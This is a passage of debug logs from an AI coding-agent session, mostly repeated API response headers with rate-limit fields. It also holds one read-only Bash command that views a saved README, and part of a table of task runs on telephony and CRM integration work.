\"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.409Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:42.416Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.420Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.424Z] [STDOUT]   \"cf-ray\": \"a4295d314e5729ad-FRA\",\n[2026-09-29T07:44:42.427Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:42.438Z] [STDOUT] [log_975a35] response parsed {\n[2026-09-29T07:44:42.447Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.453Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.459Z] [STDOUT]   body: X {\n[2026-09-29T07:44:42.465Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:42.477Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:42.481Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:42.483Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:42.488Z] [STDOUT]     },\n[2026-09-29T07:44:42.491Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:42.496Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:42.499Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:42.502Z] [STDOUT]   },\n[2026-09-29T07:44:42.507Z] [STDOUT]   durationMs: 763,\n[2026-09-29T07:44:42.511Z] [STDOUT] }\n[2026-09-29T07:44:42.518Z] [STDOUT] [log_8ccb10, request-id: \"req_011CfXMhXv3eMR1pjbLB383L\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 897ms\n[2026-09-29T07:44:42.531Z] [STDOUT] [log_8ccb10] response start {\n[2026-09-29T07:44:42.536Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.541Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.551Z] [STDOUT]   headers: {\n[2026-09-29T07:44:42.555Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.558Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.562Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.565Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.571Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.574Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.578Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.587Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.590Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.594Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.599Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.602Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.605Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.608Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.610Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.614Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.623Z] [STDOUT]     \"cf-ray\": \"a4295d30adafdbb5-FRA\",\n[2026-09-29T07:44:42.629Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:42.634Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.640Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.647Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.653Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.658Z] [STDOUT]     \"request-id\": \"req_011CfXMhXv3eMR1pjbLB383L\",\n[2026-09-29T07:44:42.661Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:42.664Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.667Z] [STDOUT]     traceresponse: \"00-e3744bb799aa8fac98462df7c4400e50-f3149d17a97ae346-01\",\n[2026-09-29T07:44:42.670Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.673Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:42.676Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.678Z] [STDOUT]   },\n[2026-09-29T07:44:42.679Z] [STDOUT]   durationMs: 897,\n[2026-09-29T07:44:42.681Z] [STDOUT] }\n[2026-09-29T07:44:42.684Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:42.687Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.691Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.695Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.697Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:42.700Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.703Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.706Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.710Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:42.714Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.721Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.734Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.742Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.748Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.753Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.760Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.764Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.770Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.775Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.785Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.795Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.801Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.804Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.807Z] [STDOUT]   \"request-id\": \"req_011CfXMhXv3eMR1pjbLB383L\",\n[2026-09-29T07:44:42.813Z] [STDOUT]   \"traceresponse\": \"00-e3744bb799aa8fac98462df7c4400e50-f3149d17a97ae346-01\",\n[2026-09-29T07:44:42.816Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.820Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.824Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:42.828Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.833Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.835Z] [STDOUT]   \"cf-ray\": \"a4295d30adafdbb5-FRA\",\n[2026-09-29T07:44:42.840Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:42.858Z] [STDOUT] [log_8ccb10] response parsed {\n[2026-09-29T07:44:42.862Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.867Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.871Z] [STDOUT]   body: X {\n[2026-09-29T07:44:42.875Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:42.878Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:42.881Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:42.883Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:42.889Z] [STDOUT]     },\n[2026-09-29T07:44:42.894Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:42.898Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:42.904Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:42.909Z] [STDOUT]   },\n[2026-09-29T07:44:42.913Z] [STDOUT]   durationMs: 898,\n[2026-09-29T07:44:42.920Z] [STDOUT] }\n[2026-09-29T07:44:42.923Z] [STDOUT] [log_d29aae, request-id: \"req_011CfXMhZhghFd6mZsDgTMeU\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 708ms\n[2026-09-29T07:44:42.932Z] [STDOUT] [log_d29aae] response start {\n[2026-09-29T07:44:42.936Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.939Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.943Z] [STDOUT]   headers: {\n[2026-09-29T07:44:42.945Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.951Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.954Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.958Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.961Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.967Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.972Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.976Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.979Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.984Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.988Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.992Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.996Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:43.004Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:43.007Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:43.016Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:43.026Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:43.033Z] [STDOUT]     \"cf-ray\": \"a4295d333f3b4d8b-FRA\",\n[2026-09-29T07:44:43.040Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:43.047Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:43.051Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:43.053Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:43.059Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:42 GMT\",\n[2026-09-29T07:44:43.064Z] [STDOUT]     \"request-id\": \"req_011CfXMhZhghFd6mZsDgTMeU\",\n[2026-09-29T07:44:43.070Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:43.078Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:43.080Z] [STDOUT]     traceresponse: \"00-b02238873c0046b7dd5215c6a008bdda-2fe0f780a16351be-01\",\n[2026-09-29T07:44:43.082Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:43.085Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:43.089Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:43.094Z] [STDOUT]   },\n[2026-09-29T07:44:43.098Z] [STDOUT]   durationMs: 708,\n[2026-09-29T07:44:43.101Z] [STDOUT] }\n[2026-09-29T07:44:43.108Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:43.112Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:42 GMT\",\n[2026-09-29T07:44:43.119Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:43.126Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:43.133Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:43.139Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:43.143Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:43.149Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:43.154Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:43.163Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:43.169Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:43.180Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:43.187Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:43.191Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:43.201Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:43.210Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:43.232Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:43.237Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:43.247Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:43.251Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:43.261Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:43.270Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:43.274Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:43.280Z] [STDOUT]   \"request-id\": \"req_011CfXMhZhghFd6mZsDgTMeU\",\n[2026-09-29T07:44:43.284Z] [STDOUT]   \"traceresponse\": \"00-b02238873c0046b7dd5215c6a008bdda-2fe0f780a16351be-01\",\n[2026-09-29T07:44:43.292Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:43.298Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:43.306Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:43.311Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:43.322Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:43.325Z] [STDOUT]   \"cf-ray\": \"a4295d333f3b4d8b-FRA\",\n[2026-09-29T07:44:43.329Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:43.335Z] [STDOUT] [log_d29aae] response parsed {\n[2026-09-29T07:44:43.342Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:43.346Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:43.354Z] [STDOUT]   body: X {\n[2026-09-29T07:44:43.357Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:43.361Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:43.363Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:43.365Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:43.367Z] [STDOUT]     },\n[2026-09-29T07:44:43.373Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:43.379Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:43.386Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:43.395Z] [STDOUT]   },\n[2026-09-29T07:44:43.401Z] [STDOUT]   durationMs: 713,\n[2026-09-29T07:44:43.407Z] [STDOUT] }\n[2026-09-29T07:44:43.413Z] [INFO] {\n[2026-09-29T07:44:43.413Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:43.413Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:44:43.413Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:44:43.413Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:44:43.413Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:43.413Z] [INFO]   \"uuid\": \"c747031a-a7ee-4fc5-bef4-fb7898c70b6c\"\n[2026-09-29T07:44:43.413Z] [INFO] }\n[2026-09-29T07:44:43.417Z] [INFO] {\n[2026-09-29T07:44:43.417Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:43.417Z] [INFO]   \"message\": {\n[2026-09-29T07:44:43.417Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"id\": \"msg_011CfXMhYJ7R9amkTYEAeUd8\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:43.417Z] [INFO]     \"content\": [\n[2026-09-29T07:44:43.417Z] [INFO]       {\n[2026-09-29T07:44:43.417Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:43.417Z] [INFO]         \"id\": \"toolu_01BSPEcjATBvMcPmMNCYPrw1\",\n[2026-09-29T07:44:43.417Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:43.417Z] [INFO]         \"input\": {\n[2026-09-29T07:44:43.417Z] [INFO]           \"command\": \"cat /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bd81ljdck.txt | sed -n 120,400p | cut -c1-400\",\n[2026-09-29T07:44:43.417Z] [INFO]           \"description\": \"Read runs README remainder\"\n[2026-09-29T07:44:43.417Z] [INFO]         },\n[2026-09-29T07:44:43.417Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:43.417Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:43.417Z] [INFO]         }\n[2026-09-29T07:44:43.417Z] [INFO]       }\n[2026-09-29T07:44:43.417Z] [INFO]     ],\n[2026-09-29T07:44:43.417Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:43.417Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:43.417Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:43.417Z] [INFO]       \"cache_creation_input_tokens\": 7697,\n[2026-09-29T07:44:43.417Z] [INFO]       \"cache_read_input_tokens\": 24703,\n[2026-09-29T07:44:43.417Z] [INFO]       \"cache_creation\": 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[`outputs/prompt-usage.md`](2026/RUN-0038/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0038/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0038/feedback/review-notes.md) |\\n| [`RUN-0039`](2026/RUN-0039/metadata.yaml) | 2026-08-22 | `statistics` | task-854-mtalker-conference-participants-fr | [`outputs/README.md`](2026/RUN-0039/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0039/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0039/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0039/feedback/review-notes.md) |\\n| [`RUN-0040`](2026/RUN-0040/metadata.yaml) | 2026-08-22 | `statistics` | task-872-proactive-chat-retrigger | [`outputs/README.md`](2026/RUN-0040/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0040/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0040/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0040/feedback/review-notes.md) |\\n| [`RUN-0041`](2026/RUN-0041/metadata.yaml) | 2026-08-22 | `statistics` | task-890-bitrix24-call-routing | [`outputs/README.md`](2026/RUN-0041/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0041/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0041/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0041/feedback/review-notes.md) |\\n| [`RUN-0042`](2026/RUN-0042/metadata.yaml) | 2026-08-22 | `statistics` | task-892-knowledge-base-page-restore | [`outputs/README.md`](2026/RUN-0042/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0042/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0042/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0042/feedback/review-notes.md) |\\n| [`RUN-0043`](2026/RUN-0043/metadata.yaml) | 2026-08-22 | `statistics` | task-908-open-url-on-call-answer | [`outputs/README.md`](2026/RUN-0043/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0043/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0043/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0043/feedback/review-notes.md) |\\n| [`RUN-0044`](2026/RUN-0044/metadata.yaml) | 2026-08-22 | `statistics` | task-908-open-url-on-call-answer-validation | [`outputs/README.md`](2026/RUN-0044/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0044/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0044/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0044/feedback/review-notes.md) |\\n| [`RUN-0045`](2026/RUN-0045/metadata.yaml) | 2026-08-22 | `statistics` | task-915-call-connection-sound-signal | [`outputs/README.md`](2026/RUN-0045/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0045/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0045/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0045/feedback/review-notes.md) |\\n| [`RUN-0046`](2026/RUN-0046/metadata.yaml) | 2026-08-22 | `statistics` | task-918-mandatory-call-topics | [`outputs/README.md`](2026/RUN-0046/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0046/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0046/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0046/feedback/review-notes.md) |\\n| [`RUN-0047`](2026/RUN-0047/metadata.yaml) | 2026-08-22 | `statistics` | task-920-meeting-transcript-analysis | [`outputs/README.md`](2026/RUN-0047/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0047/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0047/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0047/feedback/review-notes.md) |\\n| [`RUN-0048`](2026/RUN-0048/metadata.yaml) | 2026-08-22 | `statistics` | task-930-amocrm-comment-and-tag-fields | [`outputs/README.md`](2026/RUN-0048/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0048/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0048/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0048/feedback/review-notes.md) |\\n| [`RUN-0049`](2026/RUN-0049/metadata.yaml) | 2026-08-22 | `statistics` | task-935-speech-analytics-api-parameters | [`outputs/README.md`](2026/RUN-0049/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0049/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0049/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0049/feedback/review-notes.md) |\\n| [`RUN-0050`](2026/RUN-0050/metadata.yaml) | 2026-08-22 | `statistics` | task-942-email-format-painter | [`outputs/README.md`](2026/RUN-0050/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0050/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0050/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0050/feedback/review-notes.md) |\\n| [`RUN-0051`](2026/RUN-0051/metadata.yaml) | 2026-08-22 | `statistics` | task-960-call-records-multiselect-filter | [`outputs/README.md`](2026/RUN-0051/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0051/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0051/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0051/feedback/review-notes.md) |\\n| [`RUN-0052`](2026/RUN-0052/metadata.yaml) | 2026-08-22 | `statistics` | task-964-ai-robot-on-line | [`outputs/README.md`](2026/RUN-0052/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0052/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0052/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0052/feedback/review-notes.md) |\\n| [`RUN-0053`](2026/RUN-0053/metadata.yaml) | 2026-08-22 | `statistics` | task-977-bitrix24-call-attribution | [`outputs/README.md`](2026/RUN-0053/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0053/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0053/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0053/feedback/review-notes.md) |\\n| [`RUN-0054`](2026/RUN-0054/metadata.yaml) | 2026-08-22 | `statistics` | task-980-number-replacement-questions | [`outputs/README.md`](2026/RUN-0054/outputs/README.md), [`outputs/prompt-usage.md`](2026/RUN-0054/outputs/prompt-usage.md), [`logs/metrics.md`](2026/RUN-0054/logs/metrics.md), [`feedback/review-notes.md`](2026/RUN-0054/feedback/review-notes.md) |\\n| [`RUN-0055`](2026/RUN-0055/metadata.yaml) | 2026-08-23 | `execution` | tz-feasibility-assessment-utair-chat-mango-office | [`outputs/README.md`](2026/RUN-0055/outputs/README.md), [`outputs/feasibility-assessment.md`](2026/RUN-0055/outputs/feasibility-assessment.md), [`outputs/tender-feasibility-brief.md`](2026/RUN-0055/outputs/tender-feasibility-brief.md), [`logs/verification-log.md`](2026/RUN-0\\n| [`RUN-0056`](2026/RUN-0056/metadata.yaml) | 2026-08-25 | `execution` | gap-analysis-hh-chats-mango-cc-integration-feasibility | [`outputs/README.md`](2026/RUN-0056/outputs/README.md), [`outputs/L1-executive-summary.md`](2026/RUN-0056/outputs/L1-executive-summary.md), [`outputs/L2-gap-matrix.md`](2026/RUN-0056/outputs/L2-gap-matrix.md), 